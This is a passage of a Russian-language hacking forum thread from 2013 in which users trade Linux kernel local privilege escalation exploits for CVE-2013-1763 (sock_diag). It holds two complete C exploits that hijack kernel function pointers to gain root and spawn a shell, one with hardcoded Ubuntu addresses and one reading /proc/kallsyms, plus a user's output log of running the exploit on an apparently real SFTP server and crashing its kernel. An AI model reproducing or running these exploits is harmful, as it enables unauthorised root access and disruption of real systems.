Старый 26.02.2013, 17:21   #11
sd_
 
Регистрация: 26.02.2013
Сообщений: 2
Репутация: 4
По умолчанию

Arch 3.3.x-3.7.x

http://pastebin.com/a9BrSGFY

Последний раз редактировалось sd_; 26.02.2013 в 17:52..
sd_ вне форума   Ответить с цитированием
Старый 26.02.2013, 17:45   #12
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Wow. sd himself! Glad to see such a giant here and still in the game.
Neat exploit!

PS Gotta check tomorrow what's there on [45].

Последний раз редактировалось SynQ; 26.02.2013 в 18:07..
SynQ вне форума   Ответить с цитированием
Старый 26.02.2013, 18:35   #13
sd_
 
Регистрация: 26.02.2013
Сообщений: 2
Репутация: 4
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Wow. sd himself! Glad to see such a giant here and still in the game.
Neat exploit!

PS Gotta check tomorrow what's there on [45].
/me blushes. Just trying to one-up spender in this famwhoring stupidity. The code is a bit obfuscated to avoid dependency on headers / figuring out the bug from mere look. Have fun dissecting it.

Seriously though, I like what you did there with other distros (/proc ? ... , i'd guess 45 is not that universal aside from arch, never really tested since arch is the only rolling thing in the wild where this was of some use.
sd_ вне форума   Ответить с цитированием
Старый 10.03.2013, 14:01   #14
AloneKiller
 
Аватар для AloneKiller
 
Регистрация: 04.10.2010
Сообщений: 79
Репутация: 0
По умолчанию

а кто подскажет, реально ли пробить 2.6.32-5-amd64 #1 SMP Sep 22 20:47:56 UTC 2012 x86_64 GNU/Linux
AloneKiller вне форума   Ответить с цитированием
Старый 10.03.2013, 17:22   #15
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Цитата:
Сообщение от AloneKiller Посмотреть сообщение
а кто подскажет, реально ли пробить 2.6.32-5-amd64 #1 SMP Sep 22 20:47:56 UTC 2012 x86_64 GNU/Linux
Могу подсказать правила раздела разве что - https://rdot.org/forum/showthread.php?t=2097
b3 вне форума   Ответить с цитированием
Старый 11.03.2013, 18:34   #16
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

CVE-2013-1763 Ubuntu 12.10 64bit
http://seclists.org/fulldisclosure/2013/Mar/115
Код:
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
x()
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

int main() {
	int fd;
    unsigned long mmap_start, mmap_size = 0x10000;
	unsigned family;
	struct {
		struct nlmsghdr nlh;
		struct unix_diag_req r;
	} req;
	char	buf[8192];

	if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
		printf("Can't create sock diag socket\n");
		return -1;
	}

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = sizeof(req);
	req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
	req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 123456;

	req.r.udiag_states = -1;
	req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

	/* Ubuntu 12.10 x86_64 */
	req.r.sdiag_family = 0x37;
	commit_creds = (_commit_creds) 0xffffffff8107d180;
	prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
    mmap_start = 0x1a000;

    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
		MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {

		printf("mmap fault\n");
		exit(1);
    }

    *(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
    memset((void *)mmap_start, 0x90, mmap_size);
    memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));

	send(fd, &req, sizeof(req), 0);
	if(!getuid())
		system("/bin/sh");
}
12309 вне форума   Ответить с цитированием
Старый 12.03.2013, 11:45   #17
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

"Local root exploit for Ubuntu 12.10 64bit that leverages the sock_diag_handlers[] vulnerability in Linux kernels before 3.7.10."

before???
snake вне форума   Ответить с цитированием
Старый 13.03.2013, 14:39   #18
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

Fedora 18 x86_64
http://seclists.org/fulldisclosure/2013/Mar/128
Код:
/* 
* CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* This exploit uses nl_table to jump to a known location
*/

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
kernel_code()
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
 
    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        return 0;
    }
 
    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
        if (ret == 0) {
            fscanf(f, "%s\n", sym);
            continue;
        }
        if (!strcmp(name, sym)) {
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
 
    return 0;
}

int main(int argc, char*argv[])
{
    int fd;
    unsigned family;
    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
    char    buf[8192];

    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socket\n");
        return -1;
    }

    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;

    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

    commit_creds = (_commit_creds) get_symbol("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    sock_diag_handlers = get_symbol("sock_diag_handlers");
    nl_table = get_symbol("nl_table");
      
    if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
        printf("some symbols are not available!\n");
        exit(1);
    }

    family = (nl_table - sock_diag_handlers) / 8;
    printf("family=%d\n",family);
    req.r.sdiag_family = family;
      
    if(family>255){
        printf("nl_table is too far!\n");
        exit(1);
    }

    unsigned long mmap_start, mmap_size;
    mmap_start = 0x100000000;
    mmap_size = 0x200000;
    printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);

    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
        printf("mmap fault\n");
        exit(1);
    }
    memset((void*)mmap_start, 0x90, mmap_size);

    char jump[] = "\x55"                          // push %ebp
                  "\x48\x89\xe5"                  // mov %rsp, %rbp
                  "\x48\xc7\xc0\x00\x00\x00\x00"  // movabs 0x00, %rax
                  "\xff\xd0"                      // call *%rax
                  "\x5d"                          // pop %rbp 
                  "\xc3";                         // ret


    unsigned int *asd = (unsigned int*) &jump[7];
    *asd = (unsigned int)kernel_code;
    printf("&kernel_code = %x\n", (unsigned int) kernel_code);

    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

    if ( send(fd, &req, sizeof(req), 0) < 0) {
        printf("bad send\n");
        close(fd);
        return -1;
    }

    printf("uid=%d, euid=%d\n",getuid(), geteuid() );

    if(!getuid())
        system("/bin/sh");

}
12309 вне форума   Ответить с цитированием
Старый 14.03.2013, 10:19   #19
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

На fedora18 x64 также работает эксплойт sd. Правда, только при selinux=0.
SynQ вне форума   Ответить с цитированием
Старый 09.04.2013, 19:26   #20
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

Цитата:
3.6.5-2.fc16.i686.PAE #1 SMP Thu Nov 1 03:55:12 UTC 2012 i686 i686 i386 GNU/Linux
Цитата:
gcc -o ww cc.c
cc.c: In function ‘main’:
cc.c:148:23: warning: initialization from incompatible pointer type [enabled by default]


./ww Fedora
[+] resolved symbol commit_creds to 0xc0472df0
[+] resolved symbol prepare_kernel_cred to 0xc0473030
[+] resolved symbol sock_diag_handlers to 0xc0dc1d80
[+] resolved symbol nl_table to 0xc0dc1ec4
family=81
mmapping at 0x10000, size = 0x120000
Killed
[1012@MTECH-SFTP suka]$
Message from syslogd@MTECH-SFTP at Apr 9 21:52:26 ...
kernel:[12482879.313978] Process ww (pid: 24459, ti=f61da000 task=f0dd57f0 task.ti=f61da000)

Message from syslogd@MTECH-SFTP at Apr 9 21:52:26 ...
kernel:[12482879.313979] Stack:

Message from syslogd@MTECH-SFTP at Apr 9 21:52:26 ...
kernel:[12482879.313995] Call Trace:

Message from syslogd@MTECH-SFTP at Apr 9 21:52:26 ...
kernel:[12482879.314001] Code: 32 43 37 38 64 66 79 0d 0a 67 6b 4b 45 5a 35 31 67 45 66 4b 50 31 70 63 58 65 71 72 4d 61 63 4b 46 64 31 71 66 4d 34 53 32 68 38 <65> 67 6e 70 66 50 2f 39 2b 74 4f 33 79 31 41 31 78 33 4b 6d 4c

Message from syslogd@MTECH-SFTP at Apr 9 21:52:26 ...
kernel:[12482879.314001] EIP: [<e8067fa3>] 0xe8067fa3 SS:ESP 0068:f61dbcf0

[1012@MTECH-SFTP suka]$ id
uid=1012() gid=1001(SFTP-USERS) groups=1001(SFTP-USERS) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[jantabank@MTECH-SFTP 0]$
[jantabank@MTECH-SFTP 0]$ ./ww Fedora
[+] resolved symbol commit_creds to 0xc0472df0
[+] resolved symbol prepare_kernel_cred to 0xc0473030
[+] resolved symbol sock_diag_handlers to 0xc0dc1d80
[+] resolved symbol nl_table to 0xc0dc1ec4
family=81
mmapping at 0x10000, size = 0x120000
id

^C^C^C


^C^C
упаль(
snake вне форума   Ответить с цитированием
Ответ

Метки
exploit, kernel

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot